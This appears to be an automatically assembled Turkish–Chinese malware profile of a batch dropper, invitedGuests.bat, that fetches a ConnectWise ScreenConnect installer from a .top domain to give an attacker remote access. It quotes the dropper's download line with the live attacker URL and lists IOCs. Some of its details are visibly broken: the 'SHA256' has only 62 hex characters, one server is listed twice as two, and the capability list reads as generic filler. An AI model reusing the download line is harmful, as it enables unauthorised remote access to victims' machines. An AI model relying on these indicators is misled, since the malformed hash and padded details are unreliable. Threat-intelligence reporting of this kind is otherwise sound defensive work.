Manuel Statik Analiz — ScreenConnect/ConnectWise RAT Kötüye Kullanımı | Tehdit: YUKSEK
文件 Kimliği
| SHA256 | e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1 |
|---|---|
| 文件名 | invitedGuests.bat ("davet edilen misafirler" sosyal mühendislik) |
| 大小 | 1.052 byte (1KB!) — ultra küçük batch script |
| String Sayisi | 23 |
C2 Kontrollü ScreenConnect Kurulumu
LOLBAS Teknik: Meşru uzaktan destek yazılımını silah haline getirme!
set "MY_URL=https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Acce..." -- hbdhfijnsgjnds.top = 13 karakter rastgele .top TLD (C2 server) -- admin.* = yönetici panel subdomain -- /Bin/ScreenConnect.ClientSetup.msi = ConnectWise kurulum paketi -- ?e=Access → kurulum parametresi (özel erişim grubu) -- BAT → MSI indir → ConnectWise kur → saldırgana tam erişim!
Meşru RMM Kötüye Kullanımı
ConnectWise ScreenConnect, meşru bir uzaktan yönetim aracıdır (RMM). Saldırganlar bu tür araçları kendi sunucularından yükletip kurumsal sistemlere kalıcı uzaktan erişim sağlar. Antivirüsler meşru RMM araçlarını genellikle tehdit olarak işaretlemez. CVE-2024-1709 (CVSS 10.0) gibi kritik açıklar keşfedildi.
IOC
| SHA256 | e1cd006efa2d33191052b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2a1 |
|---|---|
| C2 | admin.hbdhfijnsgjnds.top (.top TLD) |
| 文件 | invitedGuests.bat (1052 byte) |
ScreenConnect — 恶意软件档案
ScreenConnect ConnectWise meşru RMM araç kötüye kullanımı. invitedGuests.bat. BAT dropper + MSI kurulum.
恶意软件类型
RAT
编程语言
Proprietary
C2协议
HTTPS
目标系统
Küresel Kurumsal
能力与行为
Uzaktan Erişim & Kontrol
Keylogger
Ekran Görüntüsü
Webcam Erişimi
Dosya Yönetimi
Süreç Yönetimi
Komut Yürütme
Kalıcılık Mekanizması
IOC列表 (1 个指标)
IOC — ScreenConnect
# DOMAIN
hbdhfijnsgjnds.top
| 类型 | 值 | 备注 |
|---|---|---|
| domain | hbdhfijnsgjnds.top |
C2服务器 (该家族共有 2 台已记录服务器)
| 地址 | 类型 | 端口 | 协议 | 状态 | 国家 |
|---|---|---|---|---|---|
| hbdhfijnsgjnds.top | domain | 443 | HTTPS | inactive | — |
| hbdhfijnsgjnds.top | domain | 443 | HTTPS | inactive | — |
C2 地址仅来自 KEYDAL 团队人工验证的恶意软件样本。禁止用于商业用途。